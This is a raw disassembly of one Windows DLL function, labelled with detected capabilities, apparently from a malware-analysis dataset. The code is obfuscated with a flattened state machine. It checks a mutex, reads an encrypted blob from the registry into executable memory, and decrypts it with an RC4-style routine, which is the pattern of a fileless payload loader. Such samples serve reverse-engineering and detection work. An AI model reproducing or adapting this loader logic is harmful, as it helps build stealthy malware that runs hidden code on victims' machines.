Function at 0x180003d40
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push r12
push r14
lea rbp, [rsp - 0x318]
sub rsp, 0x418
xor r12d, r12d
mov r14d, 0x80000000
mov qword [rsp + 0x38], r12
mov dword [rbp + 0x340], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x44], r12d
mov ebx, r12d
mov dword [rbp + 0x358], 0x44d
mov eax, dword [rbp + 0x358]
cmp eax, 0x1e2ad
jg 0x180003e07
je 0x180003def
cmp eax, 0x44d
je 0x180003de3
cmp eax, 0x18f2b
je 0x180003eb2
cmp eax, 0x1a7d0
jne 0x1800042cb
mov r8d, dword [0x180006010]
lea rcx, [rsp + 0x58]
mov edx, 0x2a
mov dword [rsp + 0x44], r8d
call fcn.180001230
mov dword [rbp + 0x358], 0x1f990
jmp 0x180003d90
mov dword [rbp + 0x358], 0x1e2ad
jmp 0x180003d90
lea rcx, [rbp + 0xc6]
call fcn.1800037f0
mov dword [rbp + 0x358], 0x1f463
jmp 0x180003d90
cmp eax, 0x1f463
je 0x180003e97
cmp eax, 0x1f990
jne 0x1800042cb
mov dword [rbp + 0x358], 0x2467
mov eax, dword [rbp + 0x358]
cmp eax, eax
jne 0x180003e88
lea r8, [rsp + 0x58]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
jne 0x180003e60
mov dword [rbp + 0x358], 0x58a7
mov eax, dword [rbp + 0x358]
cmp eax, eax
je 0x1800042c9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1800042c9
mov dword [rbp + 0x358], 0x388af
mov eax, dword [rbp + 0x358]
cmp eax, 0x2467
je 0x180003e31
mov dword [rbp + 0x358], 0x18f2b
jmp 0x180003d90
lea rcx, [rbp + 0x1c6]
call fcn.180003950
mov dword [rbp + 0x358], 0x1a7d0
jmp 0x180003d90
lea rax, [rsp + 0x38]
lea rdx, [rbp + 0xc6]
mov r9d, 0x103
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x3f8], r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r15d, eax
test eax, eax
je 0x180003f4a
mov dword [rbp + 0x358], 0x5dee
mov eax, dword [rbp + 0x358]
cmp eax, eax
jne 0x180003f41
nop dword [rax]
lea rax, [rsp + 0x38]
lea rdx, [rbp + 0xc6]
mov r9d, 0x103
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rbp + 0x358], 0x31ccd
mov r15d, eax
mov eax, dword [rbp + 0x358]
cmp eax, 0x5dee
je 0x180003f00
test r15d, r15d
jne 0x1800042b0
mov qword [rsp + 0x410], rsi
mov qword [rsp + 0x408], rdi
mov qword [rsp + 0x400], r13
lea r13, section..data
mov dword [rbp + 0x358], 0x699c
mov eax, dword [rbp + 0x358]
cmp eax, 0x699c
je 0x180004282
cmp eax, 0x1b1ea
je 0x180003fd0
cmp eax, 0x1c975
jne 0x180004298
mov rcx, qword [rsp + 0x38]
lea rax, [rbp + 0x340]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rdx, [rbp + 0x1c6]
xor r8d, r8d
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [rbp + 0x358], 0x1b1ea
mov r15d, eax
jmp 0x180003f73
test r15d, r15d
jne 0x180004268
cmp dword [rsp + 0x30], 3
jne 0x180004268
mov edx, dword [rbp + 0x340]
lea r9d, [r15 + 0x40]
xor ecx, ecx
mov r8d, 0x3000
mov dword [rsp + 0x40], r12d
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x180004268
mov dword [rbp + 0x358], 0x3a8a
mov eax, dword [rbp + 0x358]
cmp eax, eax
jne 0x180004268
nop word [rax + rax]
mov rcx, qword [rsp + 0x38]
lea rax, [rbp + 0x340]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rdx, [rbp + 0x1c6]
xor r8d, r8d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov r15d, eax
test eax, eax
jne 0x180004220
mov word [rbp + 0x348], r12w
lea esi, [rax + 1]
mov dword [rbp + 0x358], 0x326a
nop dword [rax + rax]
mov eax, dword [rbp + 0x358]
cmp eax, 0x326a
je 0x180004211
cmp eax, 0x19107
je 0x1800041f4
cmp eax, 0x1dd63
jne 0x180004220
cmp word [rbp + 0x348], r12w
jne 0x180004147
mov rcx, r12
nop dword [rax + rax]
movzx eax, byte [rcx + r13]
inc rcx
mov byte [rsp + rcx + 0x47], al
mov byte [rbp + 0x350], al
cmp rcx, 0x10
jb 0x1800040c0
cmp esi, 1
jne 0x180004158
mov dword [rbp + 0x358], 0x7a0
nop word [rax + rax]
mov eax, dword [rbp + 0x358]
cmp eax, 0x7a0
je 0x180004184
cmp eax, 0x193da
je 0x180004167
cmp eax, 0x1aab3
jne 0x180004158
mov r9d, dword [rbp + 0x340]
lea rcx, [rbp - 0x60]
mov r8, rdi
mov rdx, rdi
call fcn.180001690
mov edx, dword [rbp + 0x340]
lea r8, [rsp + 0x40]
mov rcx, rdi
call fcn.1800042e0
mov dword [rbp + 0x358], 0x193da
mov r14d, eax
jmp 0x1800040f0
lea rdx, [rsp + 0x48]
call fcn.180001bd0
test eax, eax
jne 0x1800040d8
mov esi, r12d
mov dword [rbp + 0x358], 0x3892a
jmp 0x180004080
test rbx, rbx
je 0x180004175
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rbp + 0x358], 0x35d74
jmp 0x1800040f0
mov qword [rbp - 0x60], r12
mov eax, r12d
lea rcx, [rbp - 0x58]
nop
mov byte [rcx], al
inc eax
lea rcx, [rcx + 1]
cmp eax, 0x100
jb 0x180004190
mov r11d, r12d
mov r9, r12
mov r10d, 0x100
nop dword [rax + rax]
movzx r8d, byte [rbp + r9 - 0x58]
mov rax, r9
lea rcx, [rbp - 0x58]
and eax, 0xf
inc r9
movzx edx, byte [rsp + rax + 0x48]
add edx, r11d
add edx, r8d
movzx r11d, dl
movzx eax, byte [rcx + r11]
mov byte [rbp + r9 - 0x59], al
mov byte [rcx + r11], r8b
dec r10
jne 0x1800041b0
mov dword [rbp + 0x358], 0x1aab3
jmp 0x1800040f0
movzx eax, word [0x180006014]
mov word [rbp + 0x348], ax
mov dword [rbp + 0x358], 0x1dd63
jmp 0x180004080
mov dword [rbp + 0x358], 0x19107
jmp 0x180004080
cmp dword [rsp + 0x40], r12d
jne 0x18000424d
mov r8d, dword [rbp + 0x340]
xor edx, edx
mov rcx, rdi
call sub.msvcrt.dll_memset
mov edx, dword [rbp + 0x340]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [rbp + 0x358], 0x35722
mov eax, dword [rbp + 0x358]
cmp eax, 0x3a8a
je 0x180004030
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0x358], 0x379d6
jmp 0x180003f73
mov dword [rbp + 0x340], r12d
mov dword [rbp + 0x358], 0x1c975
jmp 0x180003f73
mov rdi, qword [rsp + 0x408]
mov rsi, qword [rsp + 0x410]
mov r13, qword [rsp + 0x400]
mov eax, r14d
mov r15, qword [rsp + 0x3f8]
add rsp, 0x418
pop r14
pop r12
pop rbx
pop rbp
ret
xor eax, eax
add rsp, 0x418
pop r14
pop r12
pop rbx
pop rbp
ret